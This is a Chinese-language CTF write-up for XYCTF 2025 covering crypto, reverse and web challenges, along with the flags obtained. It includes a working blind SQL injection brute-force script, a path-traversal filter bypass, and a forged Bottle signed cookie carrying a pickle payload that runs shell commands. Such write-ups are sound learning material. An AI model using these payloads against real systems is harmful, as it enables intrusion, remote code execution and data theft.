比赛期间大多数时间在上课,没写出几题可惜了
XGCTF
ctfshow靶场上找到出的题,原型链污染,浏览器直接搜名字,正常匹配到博客名,浏览所有博客,最后一个看到原型链污染,翻看发现没有flag,F12查看源码,发现base64的flag
真签到
在原来的[-]前面加.,放入Brainfuck/OoK加密解密 - Bugku CTF平台↗
>+++++++++++++++++[<++++++>-+-+-+-]<.[-]>++++++++++++[<+++++++++>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++++++++++++++[<+++>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++[<+++>-+-+-+-]<.[-]>+++++++++++++++++[<+++>-+-+-+-]<.[-]>++++++++++++[<+++++++++>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.[-]>++++++++[<++++++>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<.[-]>++++++++[<++++++>-+-+-+-]<.[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.[-]>+++++++++++[<++++++++>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.[-]>++++++++++++[<+++++++>-+-+-+-]<.[-]>++++++++++[<+++++++>-+-+-+-]<.[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.[-]>++++++++++[<+++++>-+-+-+-]<.[-]>++++++++[<++++++>-+-+-+-]<.[-]>++++++++++[<+++++>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.[-]>+++++++++++++++++++++++[<+++>-+-+-+-]<.[-]>+++++++++++[<++++++++++>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<++>-+-+-+-]<.[-]>++++++++[<++++++>-+-+-+-]<.[-]>+++++++++++[<+++++>-+-+-+-]<.[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.[-]>+++++++[<+++++++>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<.[-]>+++++++++++[<+++>-+-+-+-]<.[-]>+++++++++++++++++++++++++[<+++++>-+-+-+-]<.[-]flag{W3lC0me_t0_XYCTF_2025_Enj07_1t!}
Division
from randcrack import RandCrack
from pwn import *
rc = RandCrack()
r = remote('47.94.172.18',28799)
for _ in range(624):
r.sendlineafter(b': >>> ', b'1')
r.sendlineafter(b'input the denominator: >>> ', b'1')
line = r.recvline().decode().strip()
nominator = int(line.split('//')[0])
rc.submit(nominator)
rand1 = rc.predict_getrandbits(11000)
rand2 = rc.predict_getrandbits(10000)
correct_ans = rand1 // rand2
r.sendlineafter(b': >>> ',b'2')
print(correct_ans)
r.sendlineafter(b'input the answer: >>> ', str(correct_ans).encode())
r.interactive()
# print(r.recvuntil(b'flag: '))
# print(r.recvuntil(b' '))
# # print(r.recvall().decode())
# response = r.recvall().decode()XYCTF{c4d789f5-ded6-4039-a689-0776f6fa904e}
re
import re
open_file = open("re.txt", "r")
file_content = open_file.read()
# 使用正则表达式提取所有chr(...)中的表达式
pattern = r"chr\(\s*([^)]+)\s*\)"
matches = re.findall(pattern, file_content)
# 计算每个表达式并转换为字符
result = []
for expr in matches:
try:
# 计算表达式值并取整
value = int(eval(expr))
# 转换为字符
result.append(chr(value))
except:
result.append("?") # 异常处理(可选)
# 拼接所有字符得到最终代码
generated_code = "".join(result)
print(generated_code)def rc4_decrypt(cipher_hex, key):
# 将十六进制字符串转为字节序列
cipher_bytes = bytes.fromhex(cipher_hex)
# 初始化S盒和密钥
s = list(range(256))
j = 0
key_bytes = [ord(c) for c in key]
key_len = len(key_bytes)
# KSA 密钥调度算法
for i in range(256):
j = (j + s[i] + key_bytes[i % key_len]) % 256
s[i], s[j] = s[j], s[i]
# PRGA 伪随机生成算法
i = j = 0
plain = []
for byte in cipher_bytes:
i = (i + 1) % 256
j = (j + s[i]) % 256
s[i], s[j] = s[j], s[i]
k = s[(s[i] + s[j]) % 256]
plain_byte = byte ^ k # 解密即加密的逆过程
plain.append(plain_byte)
# 将字节转为字符串
return bytes(plain).decode('latin-1')
# 预设的密文和密钥
wefbuwiue = "90df4407ee093d309098d85a42be57a2979f1e51463a31e8d15e2fac4e84ea0df622a55c4ddfb535ef3e51e8b2528b826d5347e165912e99118333151273cc3fa8b2b3b413cf2bdb1e8c9c52865efc095a8dd89b3b3cfbb200bbadbf4a6cd4"
key = "rc4key"
# 解密得到flag
flag = rc4_decrypt(wefbuwiue, key)
print("Flag:", flag)
# flag{We1c0me_t0_XYCTF_2025_reverse_ch@lleng3_by_th3_w@y_p3cd0wn's_chall_is_r3@lly_gr3@t_&_fuN!}
# md5:5f9f46c147645dd1e2c8044325d4f93csql
fuzz一下,ban了好多
1’

name=5’ passwd=7

name=2’ password=3’

猜测后台sql语句是
select xxx from xxx where name = '5\'' and passwd = '7''import requests
import string
# 目标URL和配置
target_url = "http://url"
def brute_force_dbname(length):
db_name = ""
chars = string.ascii_lowercase + string.digits + "_" +string.ascii_uppercase
print("[*] 正在爆破数据库名...")
for position in range(1, length + 1):
for char in chars:
#payload = f"username=admin'%09OR%09substring(database()%09FROM%09{position}%09FOR%091)='{char}'%23&password=1"
#payload = f"username=admin'%09OR%09substring((select%09table_name%09FROM%09information_schema.tables%09where%09table_schema='testdb'%09limit%091)%09FROM%09{position}%09FOR%091)='{char}'%23&password=1" #double_check
#payload = f"username=admin'%09OR%09substring((select%09column_name%09FROM%09information_schema.columns%09where%09table_name='double_check'%09limit%091)%09FROM%09{position}%09FOR%091)='{char}'%23&password=1" #secret
payload = f"username=admin'%09OR%09substring((select%09secret%09FROM%09double_check%09limit%091)%09FROM%09{position}%09FOR%091)='{char}'%23&password=1" #dtfrtkcc0czkoua9s
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
response = requests.post(
target_url,
data=payload,
headers=headers,
allow_redirects=False
)
if response.status_code == 302:
db_name += char
print(f"[+] 当前进度: {db_name.ljust(length, '*')}")
break
else:
db_name += "?"
print(f"[!] 第{position}位字符识别失败")
print(f"[+] 数据库名可能是: {db_name}")
return db_name
if __name__ == "__main__":
brute_force_dbname(50)signin
写的很破防
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
secret = f.read()
app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data
@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=5000, debug=False)直接访问/secret,cookie中返回了name
name="!4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu"根据pickle序列化,后半部分ga头大概能猜出后面的是可以破开的,load一下
import pickle
from base64 import *
#图方便就放一起了
enc="gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu"
msg=['name', {'name': 'guest'}]
# enc = "gASVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFYWRtaW6Uc2Uu"
#['name', {'name': 'admin'}]
print(pickle.loads(b64decode(enc)))可以看到出了['name', {'name': 'guest'}]结合函数secret_page()显然是一个鉴权题,跟进看一下。
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"一步步看,发现要伪造cookie还要知道secret,跟进
with open('../../secret.txt', 'r') as f:
secret = f.read()同时还提供了download函数
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return datarequest.query.filename就是url传filename的意思http://xxxxxx:5000/download?filename=xxx.xx
然后卡住了,测试这个功能的时候我用的是提供的文件名main.py,,结果文件名是app.py,畜生啊
当然,由于'../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name的存在,我们不能直接../../secret.txt要绕过,这里又卡了半天
尝试了url编码绕过,Unicode编码绕过,…/…/,…//…//,结果最后是./.././../,破防
得到secret,把app.py拿下来,把guest改成admin在本地直接起一个,访问两次/secret拿到admin密钥。
Hell0_H@cker_Y0u_A3r_Sm@r7name="!Q2i4b0GcN4AM+eI0/Br6YuNIftiqf3hm53bC67S2HUM=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFYWRtaW6Uc2Uu"设置cookie直接进,给我们的main.py和app.py是不一样的
try:
with open('../../secret.txt', 'r') as f:
secret = f.read()
except:
print("No secret file found, using default secret")
secret = "secret"所以这里我们再用的就是secret=“secret”了
签到题应该不会太难,在Bottle中,当使用签名Cookie时,Cookie的值会被格式化为**!signature?data**,那就常规思路打r指令,当然,由于要保持session进行rce,data部分就不用app.py起了,拷打一下ai出个脚本。
import pickle
import base64
import hmac
import hashlib
def forge_signed_cookie(data, secret):
# 1. Pickle 序列化
serialized_data = pickle.dumps(data)
# 2. Base64 编码数据部分
data_b64 = base64.urlsafe_b64encode(serialized_data).decode().strip("=")
# 3. 计算 HMAC 签名
signature_raw = hmac.new(
secret.encode("utf-8"),
data_b64.encode("utf-8"),
hashlib.sha256
).digest()
# 4. Base64 编码签名
signature_b64 = base64.urlsafe_b64encode(signature_raw).decode().strip("=")
# 组合 Cookie
return f"!{signature_b64}?{data_b64}"
# 示例用法
data = {"name": "admin"}
secret = "your-secret-key"
cookie = forge_signed_cookie(data, secret)
print("Forged Cookie:", cookie)照着随便改改,值得注意的是由于flag的uuid的不确定,我们这里用*直接匹配flag文件,写入到flag.txt中,这样就不用看根目录下的文件有什么了。
import requests
import pickle,pickletools
from base64 import b64encode, b64decode
import hmac, hashlib
session=requests.Session()
secret = b"Hell0_H@cker_Y0u_A3r_Sm@r7"
def tobytes(s, enc='utf8'):
if isinstance(s, str):
return s.encode(enc)
return b'' if s is None else bytes(s)
def tostr(s, enc='utf8', err='strict'):
if isinstance(s, bytes):
return s.decode(enc, err)
return str("" if s is None else s)
class payload(object):
def __reduce__(self):
return (eval, ("__import__('os').popen('cat /flag*>/flag.txt').read()",))
def signin(secret,encoded):
signin = b64encode(
hmac.new(
tobytes(secret),
encoded,
hashlib.sha256
).digest())
return signin
if __name__ == '__main__':
url = input("请输入要攻击的url:")
url1 = url + '/secret'
url2 = url + '/download?filename=./.././../flag.txt'
data = payload()
encoded = b64encode(pickle.dumps(data))
signin = signin(secret, encoded)
value = tostr(tobytes('!') + signin + tobytes('?') + encoded)
re=session.get(url1)
cookie={"name":value}
re=session.get(url1,cookies=cookie)
re=session.get(url2)
print(re.text)puzzle
通过yaki绕过右键禁用拿到源码
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<title>拼图</title>
<link rel="stylesheet" type="text/css" href="./css/puzzle.css" />
</head>
<body>
<h1>Infernity师傅说,你要是能在两秒内解决这个puzzl,他就给你flag</h1>
<canvas id="background" width="450px" height="450px"></canvas>
<script>
window.addEventListener("contextmenu", function (ev) {
ev.preventDefault();
alert("你想干嘛?");
return false;
});
document.addEventListener("keydown", function (ev) {
ev.preventDefault();
alert("你想干嘛?");
return false;
});
</script>
</body>
<script src="./js/puzzle.js"></script>
</html>再把puzzle.js拿下来,5000多行,实在有点多,就不放了,函数实在是太多了头要昏掉,一个一个看函数显然是不可行的,这个游戏显然可以正常做法的,但是常人肯定完成不了,所以结合html,要得到flag大概率会用alert弹出来,事实证明我是对的。CTRL+F查找alert发现5000多行只有两个,显然一个是小于两秒完成puzzle一个是大于两秒完成puzzle,那么我们直接把逻辑调换一下不就可以绕过了吗,把<换成>

本地访问html,发现imge并不是捆绑在js里的,禁用JavaScript访问题页,开着F12找到png的相对路径,遍历下载,css文件同理,并放在同样的相对路径下,网上随便找个教程写出puzzle,当然懒的话可以化成华容道给ai
flag{Y0u__aRe_a_mAsteR_of_PUzZL!!@!!~!}
RSA
from Crypto.Cipher import ChaCha20
import hashlib
# 题目原始数据
n = 24240993137357567658677097076762157882987659874601064738608971893024559525024581362454897599976003248892339463673241756118600994494150721789525924054960470762499808771760690211841936903839232109208099640507210141111314563007924046946402216384360405445595854947145800754365717704762310092558089455516189533635318084532202438477871458797287721022389909953190113597425964395222426700352859740293834121123138183367554858896124509695602915312917886769066254219381427385100688110915129283949340133524365403188753735534290512113201932620106585043122707355381551006014647469884010069878477179147719913280272028376706421104753
mh = [3960604425233637243960750976884707892473356737965752732899783806146911898367312949419828751012380013933993271701949681295313483782313836179989146607655230162315784541236731368582965456428944524621026385297377746108440938677401125816586119588080150103855075450874206012903009942468340296995700270449643148025957527925452034647677446705198250167222150181312718642480834399766134519333316989347221448685711220842032010517045985044813674426104295710015607450682205211098779229647334749706043180512861889295899050427257721209370423421046811102682648967375219936664246584194224745761842962418864084904820764122207293014016, 15053801146135239412812153100772352976861411085516247673065559201085791622602365389885455357620354025972053252939439247746724492130435830816513505615952791448705492885525709421224584364037704802923497222819113629874137050874966691886390837364018702981146413066712287361010611405028353728676772998972695270707666289161746024725705731676511793934556785324668045957177856807914741189938780850108643929261692799397326838812262009873072175627051209104209229233754715491428364039564130435227582042666464866336424773552304555244949976525797616679252470574006820212465924134763386213550360175810288209936288398862565142167552]
C = [5300743174999795329371527870190100703154639960450575575101738225528814331152637733729613419201898994386548816504858409726318742419169717222702404409496156167283354163362729304279553214510160589336672463972767842604886866159600567533436626931810981418193227593758688610512556391129176234307448758534506432755113432411099690991453452199653214054901093242337700880661006486138424743085527911347931571730473582051987520447237586885119205422668971876488684708196255266536680083835972668749902212285032756286424244284136941767752754078598830317271949981378674176685159516777247305970365843616105513456452993199192823148760, 21112179095014976702043514329117175747825140730885731533311755299178008997398851800028751416090265195760178867626233456642594578588007570838933135396672730765007160135908314028300141127837769297682479678972455077606519053977383739500664851033908924293990399261838079993207621314584108891814038236135637105408310569002463379136544773406496600396931819980400197333039720344346032547489037834427091233045574086625061748398991041014394602237400713218611015436866842699640680804906008370869021545517947588322083793581852529192500912579560094015867120212711242523672548392160514345774299568940390940653232489808850407256752]
enc = b'\x9c\xc4n\x8dF\xd9\x9e\xf4\x05\x82!\xde\xfe\x012$\xd0\x8c\xaf\xfb\rEb(\x04)\xa1\xa6\xbaI2J\xd2\xb2\x898\x11\xe6x\xa9\x19\x00pn\xf6rs- \xd2\xd1\xbe\xc7\xf51.\xd4\xd2 \xe7\xc6\xca\xe5\x19\xbe'
# 从mh和C中提取实部/虚部
mh_re, mh_im = mh[0], mh[1]
C_re, C_im = C[0], C[1]
# 构造Coppersmith多项式
R.<x> = PolynomialRing(Zmod(n), 'x')
A = mh_re + x # m.re = mh_re + x
poly = 64*A^9 - 48*A^6*C_re - (15*C_re^2 + 27*C_im^2)*A^3 - C_re^3
poly = poly.monic() # 确保首项系数为1
# 寻找128位小根
x_bound = 2^128
roots = poly.small_roots(X=x_bound, beta=0.43, epsilon=0.02)
if roots:
x_val = int(roots[0])
A_val = mh_re + x_val # 恢复m.re
# 计算m.im
denominator = (8*A_val^3 + C_re) % n
inv_denominator = inverse_mod(denominator, n)
B_val = (3 * A_val * C_im * inv_denominator) % n # B = m.im
y_val = (B_val - mh_im) % (2^128) # 低位y
# 验证方程
valid = True
expected_re = (A_val^3 - 3*A_val*B_val^2) % n
expected_im = (3*A_val^2*B_val - B_val^3) % n
if expected_re != C_re % n or expected_im != C_im % n:
valid = False
if valid:
# 生成密钥并解密
key = hashlib.sha256(str(A_val + B_val).encode()).digest()
cipher = ChaCha20.new(key=key, nonce=b'Pr3d1ctmyxjj')
flag = cipher.decrypt(enc)
print(f"解密成功!Flag: {flag.decode()}")
else:
print("验证失败:恢复的m不满足方程")
else:
print("未找到有效根,请调整参数重试")XYCTF{Welcome_to_XYCTF_Now_let_us_together_play_Crypto_challenge}
